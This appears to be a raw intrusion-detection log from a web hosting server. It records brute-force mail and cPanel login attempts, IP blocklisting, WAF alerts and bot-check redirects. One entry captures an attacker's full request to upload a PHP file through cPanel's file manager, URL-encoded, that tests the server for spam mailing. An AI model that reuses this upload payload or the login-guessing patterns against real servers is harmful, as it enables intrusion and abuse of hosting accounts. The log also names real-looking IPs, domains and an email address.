203.57.50.250 - - [17/Jun/2026:13:39:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724197&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781703542 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:39:19 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:39:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12807021&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781703542 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:39:09 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:4072: 535 Incorrect authentication data (set_id=stock)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:39:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:50474: 535 Incorrect authentication data (set_id=canoe)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.75.215.245
country_id: 1269750
description:
Jun 17 13:39:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.75.215.245 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.252.220.116
country_id: 798549
description:
185.252.220.116 - - [17/Jun/2026:13:39:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869167&pdata=https%253A%252F%252Fcaissederetraites.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781703565 HTTP/2.0" 302 0 caissederetraites.tg "https://caissederetraites.tg:2096/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.252.220.116


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:39:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13892: 535 Incorrect authentication data (set_id=canoe)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:39:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:40:05 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:40:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:35986: 535 Incorrect authentication data (set_id=testaccount)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:40:09 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:40:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5230: 535 Incorrect authentication data (set_id=excellence)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:39:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:39:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:64636: 535 Incorrect authentication data (set_id=stock)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 13:39:43 +0000] info [cpaneld] 157.85.64.85 - netflix "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netflix (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.4.65.37
country_id: 1814991
description:
Jun 17 13:40:16 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.4.65.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:40:21 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:41:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9644: 535 Incorrect authentication data (set_id=excursion)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.139.128
country_id: 2077456
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:92.113.139.128||TA:92.113.139.128||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 13:40:29 +0000] info [cpaneld] 157.85.64.85 - seft "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user seft (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:40:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41432: 535 Incorrect authentication data (set_id=sean)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:40:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:40:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55246: 535 Incorrect authentication data (set_id=combat)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:41:02 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:40:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:39942: 535 Incorrect authentication data (set_id=sistem)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:40:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:40:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:62354: 535 Incorrect authentication data (set_id=testaccount)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:40:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:40:35 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:42:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:50498: 535 Incorrect authentication data (set_id=mare)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-17 13:42:17 +0000] info [webmaild] 160.242.195.10 - secretariat_dr@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:41:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:41:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:41:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39018: 535 Incorrect authentication data (set_id=pilar)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:41:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:32210: 535 Incorrect authentication data (set_id=lourdes)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 13:41:43 +0000] info [whostmgrd] 157.85.64.85 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:41:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.248.16.34
country_id: 2542007
description:
[2026-06-17 13:41:57 +0000] info [cpaneld] 41.248.16.34 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 41.248.16.34
country_id: 2542007
description:
[2026-06-17 13:42:00 +0000] info [cpaneld] 41.248.16.34 - tiyasuxe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tiyasuxe (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:41:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:18168: 535 Incorrect authentication data (set_id=wangw)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:41:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b58d80938601d52d9991a08cb553ee22a438ea6e||Title:53091x40el1aqap||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:41:59 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.168.30.179
country_id: 3351879
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2019/08/IMG-20190804-WA0022.jpg 1016w, http:/togodailynews.tg/wp-content/uploads/2019/08/IMG-20190804-WA0022-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2019/08/IMG-20190804-WA0022-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2019/08/IMG-20190804-WA0022-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:41:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:33620: 535 Incorrect authentication data (set_id=pracownik)


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: fgbmi.moodle.free.netmaster.tg
description:


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.252.196.84
country_id: 3017382
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.252.196.84||TA:104.252.196.84||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:42:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:15732: 535 Incorrect authentication data (set_id=orchidee)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:42:53 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.67.207
country_id: 6252001
description:
[2026-06-17 13:42:53 +0000] info [cpaneld] 217.181.67.207 - pnlpzmfv "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:42:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20780: 535 Incorrect authentication data (set_id=approver)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 17 13:42:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:42:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:42:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26612: 535 Incorrect authentication data (set_id=ronaldo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 17 13:43:08 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:42:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:42:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43086: 535 Incorrect authentication data (set_id=008)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e760fb04cee78dcc30c784759f7603d121b20860||Title:pgxezm8ctxooc9p||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:42:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10278: 535 Incorrect authentication data (set_id=toml)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:42:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:42:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.127.127.15
country_id: 6252001
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:209.127.127.15||TA:209.127.127.15||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:43:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:43:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:43:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:51470: 535 Incorrect authentication data (set_id=ttt)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:43:54 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:43:55 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd1ea47f96c2129cf812d92e655d1bf70ba60985||Title:g0eya2pn60zpijgu||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:43:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19850: 535 Incorrect authentication data (set_id=ak)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:44:05 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42626: 535 Incorrect authentication data (set_id=maxwell)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:43:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:50316: 535 Incorrect authentication data (set_id=maxwell)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:43:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:39384: 535 Incorrect authentication data (set_id=violeta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:43:57 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7114: 535 Incorrect authentication data (set_id=mangas)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:43:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:45:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48352: 535 Incorrect authentication data (set_id=allgemein)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e575a8b46519404dd2f4f0d92178871cac4ea345||Title:1x9ubhmdcnroeswvg||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:44:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:44:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.65.11
country_id: 6252001
domain: vo2.mairie.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/Vo2.mairie.tg/ HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:44:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44144: 535 Incorrect authentication data (set_id=qwert12345)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.245.150.8
country_id: 6252001
description:
54.245.150.8 - - [17/Jun/2026:13:44:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462660&pdata=https%253A%252F%252Fkpmg.tg%252F71fa419ddb91500bd6c40e52ac0c368c%252Findex.php%253Fcmd%253Dlogin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781703867 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/71fa419ddb91500bd6c40e52ac0c368c/index.php?cmd=login/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.7827.114 Safari/537.36 Edge/18.19582" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.245.150.8


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.99
country_id: 3469034
description:
2026-06-17 13:45:04 dovecot_plain authenticator failed for H=([192.168.15.9]) [104.28.152.99]:49896: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:44:54 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:45:04 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:44:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:61018: 535 Incorrect authentication data (set_id=clayton)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:44:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:38916: 535 Incorrect authentication data (set_id=lalala)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:44:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:44:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:27908: 535 Incorrect authentication data (set_id=jsmit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:45:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:20456: 535 Incorrect authentication data (set_id=u25)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cb4c6a50074e50598ad321f6610e0ab7ccfd4285||Title:8rujfuisrr7q4nc||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:45:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3642: 535 Incorrect authentication data (set_id=exc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:45:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10262: 535 Incorrect authentication data (set_id=allgemein)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:45:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:45:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:4264: 535 Incorrect authentication data (set_id=veranstaltungen)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:45:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:45:38 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:45:54 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:45:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:20720: 535 Incorrect authentication data (set_id=eservices)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 17 13:45:50 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
